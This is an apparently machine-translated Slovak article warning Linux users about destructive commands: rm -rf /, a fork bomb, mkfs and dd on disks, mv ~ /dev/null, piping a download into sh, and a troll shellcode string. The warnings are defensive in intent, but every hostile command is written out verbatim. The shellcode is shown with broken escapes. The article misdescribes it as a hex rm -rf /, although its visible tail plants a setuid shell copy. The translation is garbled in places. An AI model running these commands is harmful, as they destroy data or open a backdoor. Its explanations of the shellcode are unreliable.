Učenie príkazov, ktoré by ste nemali spustiť, vám môžu pomôcť chrániť vás pred trolls a zároveň zvýšiť vaše chápanie toho, ako funguje Linux. Toto nie je vyčerpávajúci sprievodca a príkazy tu môžu byť remixované rôznymi spôsobmi.
Upozorňujeme, že mnohé z týchto príkazov budú nebezpečné iba vtedy, ak budú predpísané sudo na Ubuntu - nebudú fungovať inak. Na iných distribuciách Linuxu musí byť väčšina príkazov spustená ako root.
rm -rf / - Odstráni všetko!
Príkaz rm -rf / odstráni všetko možné, vrátane súborov na pevnom disku a súborov na pripojených zariadeniach s vymeniteľnými médiami. Tento príkaz je pochopiteľnejší, ak je rozdelený:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux bude s radosťou poslúchať tento príkaz a odstrániť všetko bez toho, aby vás vyzval, takže buďte opatrní pri jeho použití! Príkaz rm možno použiť aj inými nebezpečnými spôsobmi - rm -rf ~ by odstránili všetky súbory vo vašom domovskom priečinku, zatiaľ čo rm -rf. * by odstránili všetky vaše konfiguračné súbory.
Hodina, lekcia: Dávajte si pozor rm -rf.
Skryté rm -rf /
Tu je ďalší útržok kódu, ktorý sa nachádza po celom webe:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Toto je hex verzia rm -rf / – vykonanie tohto príkazu by zničil vaše súbory rovnako ako keby ste spustili rm -rf /.
Hodina, lekcia: Nepoužívajte divne vyzerajúce, zjavne skryté príkazy, ktoré nerozumiete.
: () {: |: &};: - Vidlicová bomba
Nasledujúci riadok je jednoducho vyzerajúci, ale nebezpečný bash funkcia:
:(){:|: &};:
Tento krátky riadok definuje funkciu shell, ktorá vytvára nové kópie. Proces sa neustále replikuje a jeho kópie sa nepretržite replikujú a rýchlo zaberajú celý čas a pamäť procesora. Môže to spôsobiť zmrazenie počítača. Je to v podstate útok na popretie služby.
Hodina, lekcia: Funkcie basov sú silné, dokonca aj veľmi krátke.
mkfs.ext4 / dev / sda1 - Formáty pevného disku
mkfs.ext4 / dev / sda1príkaz je jednoduchý na pochopenie:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Súhrnne môže byť tento príkaz ekvivalentný bežiacemu formátu c: v systéme Windows - vymaže súbory na vašom prvom oddieli a nahradí ich novým systémom súborov.
Tento príkaz môže prísť aj v iných formách - mkfs.ext3 / dev / sdb2 by formátoval druhý oddiel na druhom pevnom disku s súborovým systémom ext3.
Hodina, lekcia: Dbajte na spustenie príkazov priamo na zariadeniach pevného disku, ktoré začínajú na / dev / sd.
command> / dev / sda - píše priamo na pevný disk
príkaz> dev / sda line pracuje podobne - spúšťa príkaz a odošle výstup tohto príkazu priamo na váš prvý pevný disk, zapíše údaje priamo na pevný disk a poškodí váš súborový systém.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
Hodina, lekcia: Ako je uvedené vyššie, dajte si pozor na spustenie príkazov, ktoré zahŕňajú zariadenia pevného disku začínajúce na / dev / sd.
dd if = / dev / random of = / dev / sda - Nahrávanie nevyžiadanej pošty na pevný disk
dd if = / dev / random of = / dev / sda line tiež vymaže údaje na jednom z vašich pevných diskov.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Hodina, lekcia: dd kopíruje údaje z jedného miesta do druhého, čo môže byť nebezpečné, ak kopírujete priamo na zariadenie.
mv ~ / dev / null - presunie váš domovský adresár do čiernej diery
/ dev / null je ďalšia špeciálna poloha - presunutie niečoho na / dev / null je to isté ako jeho zničenie. Myslite na / dev / null ako čiernu dieru. V podstate, mv ~ / dev / null odosiela všetky vaše osobné súbory do čiernej diery.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
Hodina, lekcia: ~ Znak predstavuje vašu domovskú zložku a presunutie vecí na / dev / null ich zničí.
wget https://example.com/something -O - | sh - Sťahuje a spúšťa skript
Vyššie uvedený riadok preberá skript z webu a pošle ho na sh, ktorý vykoná obsah skriptu. To môže byť nebezpečné, ak si nie ste istí, čo je skript, alebo ak neveríte jeho zdroju - nespúšťajte nedôveryhodné skripty.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
Hodina, lekcia: Neťahajte a nespúšťajte nedôveryhodné skripty z webu, dokonca ani s príkazom.
Poznáte všetky ostatné nebezpečné príkazy, ktoré by noví používatelia Linuxu (a skúsení) nemali používať? Zanechajte komentár a podeľte sa o ne!